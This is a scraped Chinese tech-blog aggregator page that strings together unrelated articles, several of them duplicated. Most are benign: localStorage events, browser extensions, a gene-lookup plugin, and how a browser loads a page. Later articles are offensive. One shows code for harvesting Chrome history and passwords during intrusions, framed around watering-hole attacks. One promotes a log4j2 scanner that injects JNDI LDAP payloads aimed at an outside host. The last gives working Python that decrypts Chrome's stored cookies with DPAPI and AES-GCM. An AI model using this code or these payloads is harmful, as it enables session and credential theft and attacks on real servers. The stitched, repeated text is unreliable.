  Web Storage API内建了一套事件通知机制,当存储区域的内容发生改变(包括增加、修改、删除数据)时,就会自动触发 storage 事件,并把它发送给所有感兴趣的监听者。因此,如果需要跟踪存储区域的改变,就需要在关心存储区域内容的页面监听storage事件。
   window.addEventListener("storage", (e)=>{<br />   // 获取 e 后做一系列判断操作<br /> }, false);<br />
  实际上,这个事件e上还带有很多信息,可以对事件做精确的控制 。
  字段含义
  key
  发生变化的 storageKey
  newValue
  变换后新值
  oldValue
  变换前原值
  storageArea
  相关的变化对象
  url
  触发变化的 URL,如果是 frameset 内,则是触发帧的 URL
  有了这些内容,就可以根据自己的业务需求来做需要的操作了。
  但是这里注意一个问题,只有当同源页面的某个页面修改了localStorage,也就是不修改,还是监听不到的。
  如果直接把第一个标签页的链接复制到第二个标签页,本地存储是不会更改的,这个时候第一个标签页的监听事件将不会触发
  这个时候可以在每次页面初始化的时候在 localStorage 中写入一个唯一的标识,建议是时间戳之类的,这样即使把地址复制到第二个标签页中,也会执行初始化操作,时间戳改变就会触发监听的storage事件。
  ok 了,问题统统解决
  最后想@码云以及很多存在此类问题的网站都提出这个优化点,2022,让我们变得更好吧 。
  写在最后
  公众号:前端开发爱好者 专注分享 web 前端相关技术文章、视频教程资源、热点资讯等,如果喜欢我的分享,给 点一个赞 或者 ➕关注 都是对我最大的支持。
  欢迎长按图片加好友,我会第一时间和你分享前端行业趋势,面试资源,学习途径等等。
  
  添加好友备注【进阶学习】拉你进技术交流群

「插件」4款浏览器神级扩展插件,效率提升80%(第六弹)

网站优化优采云 发表了文章 • 0 个评论 • 98 次浏览 • 2022-05-07 14:30 • 来自相关话题

  「插件」4款浏览器神级扩展插件,效率提升80%(第六弹)
  前言
  大家好,今天来给各位推荐下浏览器插件,在浏览器里,有哪些实用的插件。如何不用下载软件,仅仅是使用浏览器就能使用各种丰富的功能,那必然就是安装各种功能插件了,今天在这里给大家推荐4个神级插件,分分钟提高效率,如果有你喜欢的插件,欢迎来体验!!!
  
  Speedtest
  Speedtest by Ookla是一款网络测速插件,当上网速度很慢的时候,人们想到的第一件事就进行网络测速。在window上,只要你安装了360全家桶,测速功能就是默认安装的,但其实测速这种功能根本不需要安装到本地,交给浏览器就好了。
  
  XDM
  图片助手是一款用于嗅探、分析网页图片并提供批量下载等功能及在线收藏、检索、分享服务的浏览器扩展插件。可以提供分析、提取网页中的图片并以多种筛选方式辅助用户选取下载等功能及收藏 、检索、分享等在线服务。不同于以往提供类似功能的浏览器扩展,本扩展融合了多种数据提取方式来保证在各种复杂结构页面中尽可能全面地提取到出现过的图片。
  
  Awesome Screenshot
  Awesome Screenshot是一款功能强大的屏幕截屏和视频录制谷歌浏览器插件,除了可以截取当前画面、长网页之外,也拥有很完整的图片制作工具,甚至结合了免费的图片上传空间。Awesome Screenshot还可以对截图进行标注、箭头、文字、马赛克等简单的编辑。
  
  google学术搜索
  Google学术搜索按钮是一款查询学术文章插件,可以帮助学生和工作者更加快速地获取学术论文,任意一个网页复制一篇学术论文的标题,即可以快速地启动谷歌学术搜索的功能。用户在使用普通的搜索服务的时候,如果对于普通的搜索不满意,可以点击右上角的插件按钮,启动谷歌学术搜索,该插件会给予用户前三名的学术搜索结果,用户还可以点击更多按钮来查询到所有的学术搜索结果。
  
  下载方法
  这期的插件分享就到这里的,需要的小伙伴可以在微信公众号后台回复关键词「202227」或「插件」即可获取软件下载链接,快去试试吧!祝使用愉快!
  最后想说
  大家如果在下载使用插件有问题可以留言反馈,我看到会及时处理的,以及大家需要什么插件也可以留言,希望大家可以多多支持我,帮忙分享让更多的人看到,后续还会分享更多的软件给大家。谢谢支持,如果经济允许可以打赏。不胜感激。
   查看全部

  「插件」4款浏览器神级扩展插件,效率提升80%(第六弹)
  前言
  大家好,今天来给各位推荐下浏览器插件,在浏览器里,有哪些实用的插件。如何不用下载软件,仅仅是使用浏览器就能使用各种丰富的功能,那必然就是安装各种功能插件了,今天在这里给大家推荐4个神级插件,分分钟提高效率,如果有你喜欢的插件,欢迎来体验!!!
  
  Speedtest
  Speedtest by Ookla是一款网络测速插件,当上网速度很慢的时候,人们想到的第一件事就进行网络测速。在window上,只要你安装了360全家桶,测速功能就是默认安装的,但其实测速这种功能根本不需要安装到本地,交给浏览器就好了。
  
  XDM
  图片助手是一款用于嗅探、分析网页图片并提供批量下载等功能及在线收藏、检索、分享服务的浏览器扩展插件。可以提供分析、提取网页中的图片并以多种筛选方式辅助用户选取下载等功能及收藏 、检索、分享等在线服务。不同于以往提供类似功能的浏览器扩展,本扩展融合了多种数据提取方式来保证在各种复杂结构页面中尽可能全面地提取到出现过的图片。
  
  Awesome Screenshot
  Awesome Screenshot是一款功能强大的屏幕截屏和视频录制谷歌浏览器插件,除了可以截取当前画面、长网页之外,也拥有很完整的图片制作工具,甚至结合了免费的图片上传空间。Awesome Screenshot还可以对截图进行标注、箭头、文字、马赛克等简单的编辑。
  
  google学术搜索
  Google学术搜索按钮是一款查询学术文章插件,可以帮助学生和工作者更加快速地获取学术论文,任意一个网页复制一篇学术论文的标题,即可以快速地启动谷歌学术搜索的功能。用户在使用普通的搜索服务的时候,如果对于普通的搜索不满意,可以点击右上角的插件按钮,启动谷歌学术搜索,该插件会给予用户前三名的学术搜索结果,用户还可以点击更多按钮来查询到所有的学术搜索结果。
  
  下载方法
  这期的插件分享就到这里的,需要的小伙伴可以在微信公众号后台回复关键词「202227」或「插件」即可获取软件下载链接,快去试试吧!祝使用愉快!
  最后想说
  大家如果在下载使用插件有问题可以留言反馈,我看到会及时处理的,以及大家需要什么插件也可以留言,希望大家可以多多支持我,帮忙分享让更多的人看到,后续还会分享更多的软件给大家。谢谢支持,如果经济允许可以打赏。不胜感激。
  

好物推荐 | 谷歌浏览器插件(gene info)

网站优化优采云 发表了文章 • 0 个评论 • 112 次浏览 • 2022-05-04 05:29 • 来自相关话题

  好物推荐 | 谷歌浏览器插件(gene info)
  
  我们在《生信菜鸟团》公众号有一个《好物推荐》的专辑,大概有几十个生产力工具, 包括软件,网站资源,浏览器插件等等,详见:
  也时候更新了,接下来也会有十几个小工具
  下面是小编“十年”的推荐上一个浏览器插件是:
  单细胞项目中我们常常因为基因不认识,而无法辨别细胞类型,下面将介绍一款谷歌浏览器插件,gene info,这款插件可以快速提取并检索基因名称,并显示基因相关功能信息,以及基因的全称,方便大家快速了解基因功能等相关信息。
  下面来详细介绍一下:
  1.安装也超级方便,首先打开Chrome商店的Gene Info 浏览器插件
  
  2.主要功能介绍:
  通过双击任何网页上的基因名称或 accession 来查看基因信息。
  双击基因名称或点击加入检索有关它的信息和相关资源的链接。
  信息可以显示为详细报告或带有外部资源链接的最小工具提示。
  可以通过扩展程序的弹出菜单自定义显示的信息。
  信息来自 UniProt、BioGRID、Compartments 亚细胞定位数据库、Cancer Dependency Map、Gene Ontology Consortium、HGNC、Human Protein Atlas、IntAct、OMIM、Pfam、ProteomicsDB 和 Reactome。
  插件的主要界面:
  
  
  
  目前支持的物种:
  
  你以为就这样就结束了吗?其实还有更高级功能:
  
  箭头所指的地方有隐藏功能,比如说蛋白的表达情况:
  
  
  还有更多功能:
  
  相当于做了一个基因的分析有没有,那么今天就到这啦,你在做生信分析的过程中有哪些好用的小插件欢迎在评论区留言,大家集思广益把这个专题做起来哈。
  写在文末
  我在《生信技能树》,《生信菜鸟团》,《单细胞天地》的大量推文教程里面共享的代码都是复制粘贴即可使用的, 有任何疑问欢迎留言讨论,也可以发邮件给我,详细描述你遇到的困难的前因后果给我,我的邮箱地址是
  如果你确实觉得我的教程对你的科研课题有帮助,让你茅塞顿开,或者说你的课题大量使用我的技能,烦请日后在发表自己的成果的时候,加上一个简短的致谢,如下所示:
  We thank Dr.Jianming Zeng(University of Macau), and all the members of his bioinformatics team, biotrainee, for generously sharing their experience and codes.<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />
  十年后我环游世界各地的高校以及科研院所(当然包括中国大陆)的时候,如果有这样的情谊,我会优先见你。 查看全部

  好物推荐 | 谷歌浏览器插件(gene info)
  
  我们在《生信菜鸟团》公众号有一个《好物推荐》的专辑,大概有几十个生产力工具, 包括软件,网站资源,浏览器插件等等,详见:
  也时候更新了,接下来也会有十几个小工具
  下面是小编“十年”的推荐上一个浏览器插件是:
  单细胞项目中我们常常因为基因不认识,而无法辨别细胞类型,下面将介绍一款谷歌浏览器插件,gene info,这款插件可以快速提取并检索基因名称,并显示基因相关功能信息,以及基因的全称,方便大家快速了解基因功能等相关信息。
  下面来详细介绍一下:
  1.安装也超级方便,首先打开Chrome商店的Gene Info 浏览器插件
  
  2.主要功能介绍:
  通过双击任何网页上的基因名称或 accession 来查看基因信息。
  双击基因名称或点击加入检索有关它的信息和相关资源的链接。
  信息可以显示为详细报告或带有外部资源链接的最小工具提示。
  可以通过扩展程序的弹出菜单自定义显示的信息。
  信息来自 UniProt、BioGRID、Compartments 亚细胞定位数据库、Cancer Dependency Map、Gene Ontology Consortium、HGNC、Human Protein Atlas、IntAct、OMIM、Pfam、ProteomicsDB 和 Reactome。
  插件的主要界面:
  
  
  
  目前支持的物种:
  
  你以为就这样就结束了吗?其实还有更高级功能:
  
  箭头所指的地方有隐藏功能,比如说蛋白的表达情况:
  
  
  还有更多功能:
  
  相当于做了一个基因的分析有没有,那么今天就到这啦,你在做生信分析的过程中有哪些好用的小插件欢迎在评论区留言,大家集思广益把这个专题做起来哈。
  写在文末
  我在《生信技能树》,《生信菜鸟团》,《单细胞天地》的大量推文教程里面共享的代码都是复制粘贴即可使用的, 有任何疑问欢迎留言讨论,也可以发邮件给我,详细描述你遇到的困难的前因后果给我,我的邮箱地址是
  如果你确实觉得我的教程对你的科研课题有帮助,让你茅塞顿开,或者说你的课题大量使用我的技能,烦请日后在发表自己的成果的时候,加上一个简短的致谢,如下所示:
  We thank Dr.Jianming Zeng(University of Macau), and all the members of his bioinformatics team, biotrainee, for generously sharing their experience and codes.<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />
  十年后我环游世界各地的高校以及科研院所(当然包括中国大陆)的时候,如果有这样的情谊,我会优先见你。

小白科普:从输入网址到最后浏览器呈现页面内容,中间发生了什么?

网站优化优采云 发表了文章 • 0 个评论 • 81 次浏览 • 2022-06-12 16:00 • 来自相关话题

  小白科普:从输入网址到最后浏览器呈现页面内容,中间发生了什么?
  1前言
  这篇文章是应网友之邀所写,主要描述一下我们访问网站时, 从输入网址到最后浏览器呈现内容,中间发生了什么。
  之前写过两篇文章《》,《》描述了一个电脑如何通过DHCP、ARP、NAT等上式获取IP、然后访问网络的过程,主要专注在传输层和网络层。
  今天的文章主要专注于应用层,我拿了一个很简单的网络结构来讲。假定本机已经获取了IP地址,各种网络基础设施已经准备好了。
  由于知识点太多,我肯定会漏掉部分内容,欢迎在留言中补充, 以后我会根据大家建议再写文章扩展。
  2准备
  当你在浏览器中输入网址(例如)并且敲了回车以后, 浏览器首先要做的事情就是获得的IP地址,具体的做法就是发送一个UDP的包给DNS服务器,DNS服务器会返回的IP, 这时候浏览器通常会把IP地址给缓存起来,这样下次访问就会加快。
  比如Chrome, 你可以通过chrome://net-internals/#dns来查看。
  有了服务器的IP, 浏览器就要可以发起HTTP请求了,但是HTTP Request/Response必须在TCP这个“虚拟的连接”上来发送和接收。
  想要建立“虚拟的”TCP连接,TCP邮差需要知道4个东西:(本机IP, 本机端口,服务器IP, 服务器端口),现在只知道了本机IP,服务器IP, 两个端口怎么办?
  本机端口很简单,操作系统可以给浏览器随机分配一个, 服务器端口更简单,用的是一个“众所周知”的端口,HTTP服务就是80, 我们直接告诉TCP邮差就行。
  经过三次握手以后,客户端和服务器端的TCP连接就建立起来了! 终于可以发送HTTP请求了。
  
  之所以把TCP连接画成虚线,是因为这个连接是虚拟的, 详情可参见之前的文章《》,《》
  3Web服务器
  一个HTTP GET请求经过千山万水,历经多个路由器的转发,终于到达服务器端(HTTP数据包可能被下层进行分片传输,略去不表)。
  Web服务器需要着手处理了,它有三种方式来处理:
  (1) 可以用一个线程来处理所有请求,同一时刻只能处理一个,这种结构易于实现,但是这样会造成严重的性能问题。
  (2) 可以为每个请求分配一个进程/线程,但是当连接太多的时候,服务器端的进程/线程会耗费大量内存资源,进程/线程的切换也会让CPU不堪重负。
  (3) 复用I/O的方式,很多Web服务器都采用了复用结构,例如通过epoll的方式监视所有的连接,当连接的状态发生变化(如有数据可读), 才用一个进程/线程对那个连接进行处理,处理完以后继续监视,等待下次状态变化。 用这种方式可以用少量的进程/线程应对成千上万的连接请求。
  (码农翻身注:详情参见《》)
  我们使用Nginx这个非常流行的Web服务器来继续下面的故事。
  对于HTTP GET请求,Nginx利用epoll的方式给读取了出来, Nginx接下来要判断,这是个静态的请求还是个动态的请求啊?
  如果是静态的请求(HTML文件,JavaScript文件,CSS文件,图片等),也许自己就能搞定了(当然依赖于Nginx配置,可能转发到别的缓存服务器去),读取本机硬盘上的相关文件,直接返回。
  如果是动态的请求,需要后端服务器(如Tomcat)处理以后才能返回,那就需要向Tomcat转发,如果后端的Tomcat还不止一个,那就需要按照某种策略选取一个。
  例如Ngnix支持这么几种:

  
  不管用哪种算法,某个后端服务器最终被选中,然后Nginx需要把HTTP Request转发给后端的Tomcat,并且把Tomcat输出的HttpResponse再转发给浏览器。
  由此可见,Nginx在这种场景下,是一个代理人的角色。

  
  5应用服务器
  Http Request终于来到了Tomcat,这是一个由Java写的、可以处理Servlet/JSP的容器,我们的代码就运行在这个容器之中。
  如同Web服务器一样, Tomcat也可能为每个请求分配一个线程去处理,即通常所说的BIO模式(Blocking I/O 模式)。
  也可能使用I/O多路复用技术,仅仅使用若干线程来处理所有请求,即NIO模式。
  不管用哪种方式,Http Request 都会被交给某个Servlet处理,这个Servlet又会把Http Request做转换,变成框架所使用的参数格式,然后分发给某个Controller(如果你是在用Spring)或者Action(如果你是在Struts)。
  剩下的故事就比较简单了(不,对码农来说,其实是最复杂的部分),就是执行码农经常写的增删改查逻辑,在这个过程中很有可能和缓存、数据库等后端组件打交道,最终返回HTTP Response,由于细节依赖业务逻辑,略去不表。 查看全部

  小白科普:从输入网址到最后浏览器呈现页面内容,中间发生了什么?
  1前言
  这篇文章是应网友之邀所写,主要描述一下我们访问网站时, 从输入网址到最后浏览器呈现内容,中间发生了什么。
  之前写过两篇文章《》,《》描述了一个电脑如何通过DHCP、ARP、NAT等上式获取IP、然后访问网络的过程,主要专注在传输层和网络层。
  今天的文章主要专注于应用层,我拿了一个很简单的网络结构来讲。假定本机已经获取了IP地址,各种网络基础设施已经准备好了。
  由于知识点太多,我肯定会漏掉部分内容,欢迎在留言中补充, 以后我会根据大家建议再写文章扩展。
  2准备
  当你在浏览器中输入网址(例如)并且敲了回车以后, 浏览器首先要做的事情就是获得的IP地址,具体的做法就是发送一个UDP的包给DNS服务器,DNS服务器会返回的IP, 这时候浏览器通常会把IP地址给缓存起来,这样下次访问就会加快。
  比如Chrome, 你可以通过chrome://net-internals/#dns来查看。
  有了服务器的IP, 浏览器就要可以发起HTTP请求了,但是HTTP Request/Response必须在TCP这个“虚拟的连接”上来发送和接收。
  想要建立“虚拟的”TCP连接,TCP邮差需要知道4个东西:(本机IP, 本机端口,服务器IP, 服务器端口),现在只知道了本机IP,服务器IP, 两个端口怎么办?
  本机端口很简单,操作系统可以给浏览器随机分配一个, 服务器端口更简单,用的是一个“众所周知”的端口,HTTP服务就是80, 我们直接告诉TCP邮差就行。
  经过三次握手以后,客户端和服务器端的TCP连接就建立起来了! 终于可以发送HTTP请求了。
  
  之所以把TCP连接画成虚线,是因为这个连接是虚拟的, 详情可参见之前的文章《》,《》
  3Web服务器
  一个HTTP GET请求经过千山万水,历经多个路由器的转发,终于到达服务器端(HTTP数据包可能被下层进行分片传输,略去不表)。
  Web服务器需要着手处理了,它有三种方式来处理:
  (1) 可以用一个线程来处理所有请求,同一时刻只能处理一个,这种结构易于实现,但是这样会造成严重的性能问题。
  (2) 可以为每个请求分配一个进程/线程,但是当连接太多的时候,服务器端的进程/线程会耗费大量内存资源,进程/线程的切换也会让CPU不堪重负。
  (3) 复用I/O的方式,很多Web服务器都采用了复用结构,例如通过epoll的方式监视所有的连接,当连接的状态发生变化(如有数据可读), 才用一个进程/线程对那个连接进行处理,处理完以后继续监视,等待下次状态变化。 用这种方式可以用少量的进程/线程应对成千上万的连接请求。
  (码农翻身注:详情参见《》)
  我们使用Nginx这个非常流行的Web服务器来继续下面的故事。
  对于HTTP GET请求,Nginx利用epoll的方式给读取了出来, Nginx接下来要判断,这是个静态的请求还是个动态的请求啊?
  如果是静态的请求(HTML文件,JavaScript文件,CSS文件,图片等),也许自己就能搞定了(当然依赖于Nginx配置,可能转发到别的缓存服务器去),读取本机硬盘上的相关文件,直接返回。
  如果是动态的请求,需要后端服务器(如Tomcat)处理以后才能返回,那就需要向Tomcat转发,如果后端的Tomcat还不止一个,那就需要按照某种策略选取一个。
  例如Ngnix支持这么几种:

  
  不管用哪种算法,某个后端服务器最终被选中,然后Nginx需要把HTTP Request转发给后端的Tomcat,并且把Tomcat输出的HttpResponse再转发给浏览器。
  由此可见,Nginx在这种场景下,是一个代理人的角色。

  
  5应用服务器
  Http Request终于来到了Tomcat,这是一个由Java写的、可以处理Servlet/JSP的容器,我们的代码就运行在这个容器之中。
  如同Web服务器一样, Tomcat也可能为每个请求分配一个线程去处理,即通常所说的BIO模式(Blocking I/O 模式)。
  也可能使用I/O多路复用技术,仅仅使用若干线程来处理所有请求,即NIO模式。
  不管用哪种方式,Http Request 都会被交给某个Servlet处理,这个Servlet又会把Http Request做转换,变成框架所使用的参数格式,然后分发给某个Controller(如果你是在用Spring)或者Action(如果你是在Struts)。
  剩下的故事就比较简单了(不,对码农来说,其实是最复杂的部分),就是执行码农经常写的增删改查逻辑,在这个过程中很有可能和缓存、数据库等后端组件打交道,最终返回HTTP Response,由于细节依赖业务逻辑,略去不表。

密码抓取|Chrome浏览器密码和Cookie信息收集脚本编写

网站优化优采云 发表了文章 • 0 个评论 • 132 次浏览 • 2022-06-12 15:49 • 来自相关话题

  密码抓取|Chrome浏览器密码和Cookie信息收集脚本编写
  在常规渗透中,我们需要对浏览器信息进行收集,可能获取内网一些web信息,在一些极端环境可以尝试撸下管理常访问web进行水坑
  chrome浏览器信息获取0x01 历史记录
  chrome浏览器的历史记录保存在
  C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default
  的名为history的sqlite文件的urls表中。

  c++代码实现 <p>#include "sqlite3.h"#include using namespace std;sqlite3* pDB = NULL;bool SelectUser();int main(){ int nRes = sqlite3_open("C:\\Users\\Administrator\\AppData\\Local\\Google\\Chrome\\User Data\Default\\History", &pDB); if (nRes != SQLITE_OK) { cout 查看全部

  密码抓取|Chrome浏览器密码和Cookie信息收集脚本编写
  在常规渗透中,我们需要对浏览器信息进行收集,可能获取内网一些web信息,在一些极端环境可以尝试撸下管理常访问web进行水坑
  chrome浏览器信息获取0x01 历史记录
  chrome浏览器的历史记录保存在
  C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default
  的名为history的sqlite文件的urls表中。

  c++代码实现 <p>#include "sqlite3.h"#include using namespace std;sqlite3* pDB = NULL;bool SelectUser();int main(){ int nRes = sqlite3_open("C:\\Users\\Administrator\\AppData\\Local\\Google\\Chrome\\User Data\Default\\History", &pDB); if (nRes != SQLITE_OK) { cout

【log4j2-scan】使用浏览器爬虫获取网站全链接扫描log4j2漏洞工具

网站优化优采云 发表了文章 • 0 个评论 • 186 次浏览 • 2022-06-10 14:39 • 来自相关话题

  【log4j2-scan】使用浏览器爬虫获取网站全链接扫描log4j2漏洞工具
  log4j2-scan工具简介
  log4j2-scan是一款利用浏览器爬虫爬取网站所有链接,并替换参数值为${jndi:ldap:///exp}形式,旨在遍历所有链接发现log4j2漏洞的工具。
  工作流程
  程序的工作流是利用rad爬取网站所有链接
  替换值为log4j2漏洞的payload
  将替换好的请求进行重放。
  运行参数
  _ _ _ _ ____ ____<br /> | | ___ __ _| || | (_)___ \ / ___| ___ __ _ _ __ _ __ ___ _ __<br /> | | / _ \ / _` | || |_| | __) |___\___ \ / __/ _` | '_ \| '_ \ / _ \ '__|<br /> | |__| (_) | (_| |__ _| |/ __/_____|__) | (_| (_| | | | | | | | __/ |<br /> |_____\___/ \__, | |_|_/ |_____| |____/ \___\__,_|_| |_|_| |_|\___|_|<br /> |___/ |__/ by jshahjk@163.com. Illegal use is prohibited.<br /><br />rad_windows_amd64.exe<br />usage: scan_with_rad.py [-h] [-u URL] [-f FILE] [-c CHROME_PATH] [-p PAYLOAD]<br /><br />optional arguments:<br /> -h, --help show this help message and exit<br /> -u URL, --url URL Check a single URL.<br /> -f FILE, --file FILE file containing url.<br /> -c CHROME_PATH Specify the chrome path.<br /> -p PAYLOAD, --payload PAYLOAD<br /> Specify the payload like ${jndi:ldap://xx}.<br />
  运行命令:
  python scan_with_rad.py -u www.hao24.com<br />python scan_with_rad.py -p mh7av.ceye.io -u www.xxxx.com<br />
  工具地址 查看全部

  【log4j2-scan】使用浏览器爬虫获取网站全链接扫描log4j2漏洞工具
  log4j2-scan工具简介
  log4j2-scan是一款利用浏览器爬虫爬取网站所有链接,并替换参数值为${jndi:ldap:///exp}形式,旨在遍历所有链接发现log4j2漏洞的工具。
  工作流程
  程序的工作流是利用rad爬取网站所有链接
  替换值为log4j2漏洞的payload
  将替换好的请求进行重放。
  运行参数
  _ _ _ _ ____ ____<br /> | | ___ __ _| || | (_)___ \ / ___| ___ __ _ _ __ _ __ ___ _ __<br /> | | / _ \ / _` | || |_| | __) |___\___ \ / __/ _` | '_ \| '_ \ / _ \ '__|<br /> | |__| (_) | (_| |__ _| |/ __/_____|__) | (_| (_| | | | | | | | __/ |<br /> |_____\___/ \__, | |_|_/ |_____| |____/ \___\__,_|_| |_|_| |_|\___|_|<br /> |___/ |__/ by jshahjk@163.com. Illegal use is prohibited.<br /><br />rad_windows_amd64.exe<br />usage: scan_with_rad.py [-h] [-u URL] [-f FILE] [-c CHROME_PATH] [-p PAYLOAD]<br /><br />optional arguments:<br /> -h, --help show this help message and exit<br /> -u URL, --url URL Check a single URL.<br /> -f FILE, --file FILE file containing url.<br /> -c CHROME_PATH Specify the chrome path.<br /> -p PAYLOAD, --payload PAYLOAD<br /> Specify the payload like ${jndi:ldap://xx}.<br />
  运行命令:
  python scan_with_rad.py -u www.hao24.com<br />python scan_with_rad.py -p mh7av.ceye.io -u www.xxxx.com<br />
  工具地址

提取谷歌游览器Cookie的五重境界

网站优化优采云 发表了文章 • 0 个评论 • 280 次浏览 • 2022-06-09 18:51 • 来自相关话题

  提取谷歌游览器Cookie的五重境界
  一、纯手动提取谷歌游览器cookie
  这应该是任何玩过爬虫的童鞋都会的方案,也可能是对于完全不会爬虫的童鞋使用起来最困难的方案。
  方法就是先F12打开开发者工具,然后访问要提取cookie的网站,然后在网络中选中刚才访问的请求。然后在请求头中找到cookie这一项,复制对应的值即可。
  二、selenium手动登录并获取cookie
  以保存B站登录cookie为例:
  from selenium import webdriverfrom selenium.webdriver.common.by import Byfrom selenium.common.exceptions import NoSuchElementExceptionimport timeimport json<br />browser = webdriver.Chrome()browser.get("https://passport.bilibili.com/login")flag = Trueprint("等待登录...")while flag: try: browser.find_element(By.XPATH, "//div[@class='user-con signin']|//ul[@class='right-entry']" "//a[@class='header-entry-avatar']") flag = False except NoSuchElementException as e: time.sleep(3)print("已登录,现在为您保存cookie...")with open('cookie.txt', 'w', encoding='u8') as f: json.dump(browser.get_cookies(), f)browser.close()print("cookie保存完成,游览器已自动退出...")
  执行以上代码,selenium会控制谷歌游览器打开B站的登录页,等待用户手动登录B站,登录后会自动保存cookie。
  三、selenium无头模式获取非登录cookie
  比如抖音这种网站想下载其中的视频,就必须要带有一个初始的cookie,但这个cookie生成的算法比较复杂,纯requests很难模拟,这时我们完全可以借助selenium来加载网页并获取cookie节省分析js的时间。由于我们并不需要进行人工的操作,所以使用无头模式更佳。
  下面就演示无头模式获取抖音网站的cookie
  from selenium import webdriverimport time<br /><br />def selenium_get_cookies(url='https://www.douyin.com'):    """无头模式提取目标链接对应的cookie""" start_time = time.time() option = webdriver.ChromeOptions() option.add_argument("--headless") option.add_experimental_option('excludeSwitches', ['enable-automation']) option.add_experimental_option('useAutomationExtension', False) option.add_argument( 'user-agent=Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36') option.add_argument("--disable-blink-features=AutomationControlled") print("打开无头游览器...") browser = webdriver.Chrome(options=option) print(f"访问{url} ...") browser.get(url) cookie_list = browser.get_cookies() # 关闭浏览器 browser.close() cost_time = time.time() - start_time print(f"无头游览器获取cookie耗时:{cost_time:0.2f} 秒") return {row["name"]: row["value"] for row in cookie_list}<br /><br />print(selenium_get_cookies("https://www.douyin.com"))<br />
  打印结果如下:
  打开无头游览器...访问https://www.douyin.com ...无头游览器获取cookie耗时:3.28 秒{'': 'douyin.com', 'ttwid': '1%7CZn_LJdPjHKdCy4jtBoYWL_yT3NMn7OZVTBStEzoLoQg%7C1642932056%7C80dbf668fd283c71f9aee1a277cb35f597a8453a3159805c92dfee338e70b640', 'AB_LOGIN_GUIDE_TIMESTAMP': '1642932057106', 'MONITOR_WEB_ID': '651d9eca-f155-494b-a945-b8758ae948fb', 'ttcid': 'ea2b5aed3bb349219f7120c53dc844a033', 'home_can_add_dy_2_desktop': '0', '_tea_utm_cache_6383': 'undefined', '__ac_signature': '_02B4Z6wo00f01kI39JwAAIDBnlvrNDKInu5CB.AAAPFv24', 'MONITOR_DEVICE_ID': '25d4799c-1d29-40e9-ab2b-3cc056b09a02', '__ac_nonce': '061ed27580066860ebc87'}
  四、获取本地谷歌游览器中的cookie
  我们知道当我们通过selenium直接去控制谷歌游览器时,并没有加载原本谷歌游览器的cookie。有没有办法可以直接获取谷歌游览器已经登录过的cookie呢?
  其实很简单,只要我们使用debug远程调试模式运行本地的谷歌游览器,再用selenium控制即可提取之前登录的cookie:
  import osimport winregfrom selenium import webdriverimport time<br /><br />def get_local_ChromeCookies(url, chrome_path=None): """提取本地谷歌游览器目标链接对应的cookie""" if chrome_path is None: key = winreg.OpenKey(winreg.HKEY_CLASSES_ROOT, r"ChromeHTML\Application") path = winreg.QueryValueEx(key, "ApplicationIcon")[0] chrome_path = path[:path.rfind(",")] start_time = time.time() command = f'"{chrome_path}" --remote-debugging-port=9222' # print(command) os.popen(command) option = webdriver.ChromeOptions() option.add_experimental_option("debuggerAddress", "127.0.0.1:9222") browser = webdriver.Chrome(options=option) print(f"访问{url}...") browser.get(url) cookie_list = browser.get_cookies() # 关闭浏览器 browser.close() cost_time = time.time() - start_time print(f"获取谷歌游览器cookie耗时:{cost_time:0.2f} 秒") return {row["name"]: row["value"] for row in cookie_list}<br /><br />print(get_local_ChromeCookies("https://www.douyin.com"))<br />
  上述代码有能力直接获取之前在谷歌游览器访问过的任何网站的cookie,下面是抖音的结果:
  五、解析存储谷歌游览器cookie数据的文件并提取
  最后我再介绍一个终极绝招,那就是直接解密cookies文件。在97之前版本的谷歌游览器,保存cookie的文件存储在%LOCALAPPDATA%\Google\Chrome\User Data\Default\Cookies,而在97版本后则移动到了%LOCALAPPDATA%\Google\Chrome\User Data\Default\Network\Cookies。
  但在未来97以上的版本,存储位置和加密方式是否会继续发生变化还未知。截止目前密钥数据始终都存储在%LOCALAPPDATA%\Google\Chrome\User Data\Local State文件中。(80版本之前,直接使用win32crypt.CryptUnprotectData(encrypted_value_bytes,None,None,None,0)[1]解密,无需密钥)
  完整提取代码如下:
  <br />import base64import jsonimport osimport sqlite3<br />import win32cryptfrom cryptography.hazmat.primitives.ciphers.aead import AESGCM<br /><br />def load_local_key(localStateFilePath): "读取chrome保存在json文件中的key再进行base64解码和DPAPI解密得到真实的AESGCM key" with open(localStateFilePath, encoding='u8') as f: encrypted_key = json.load(f)['os_crypt']['encrypted_key'] encrypted_key_with_header = base64.b64decode(encrypted_key) encrypted_key = encrypted_key_with_header[5:] key = win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0)[1] return key<br /><br />def decrypt_value(key, data): "AESGCM解密" nonce, cipherbytes = data[3:15], data[15:] aesgcm = AESGCM(key) plaintext = aesgcm.decrypt(nonce, cipherbytes, None).decode('u8') return plaintext<br /><br />def fetch_host_cookie(host): "获取指定域名下的所有cookie" userDataDir = os.environ['LOCALAPPDATA'] + r'\Google\Chrome\User Data' localStateFilePath = userDataDir + r'\Local State' cookiepath = userDataDir + r'\Default\Cookies' # 97版本已经将Cookies移动到Network目录下 if not os.path.exists(cookiepath) or os.stat(cookiepath).st_size == 0: cookiepath = userDataDir + r'\Default\Network\Cookies' # print(cookiepath) sql = f"select name,encrypted_value from cookies where host_key like '%.{host}'" cookies = {} key = load_local_key(localStateFilePath) with sqlite3.connect(cookiepath) as conn: cu = conn.cursor() for name, encrypted_value in cu.execute(sql).fetchall(): cookies[name] = decrypt_value(key, encrypted_value) return cookies<br /><br />if __name__ == '__main__': print(fetch_host_cookie("douyin.com"))<br />
  结果
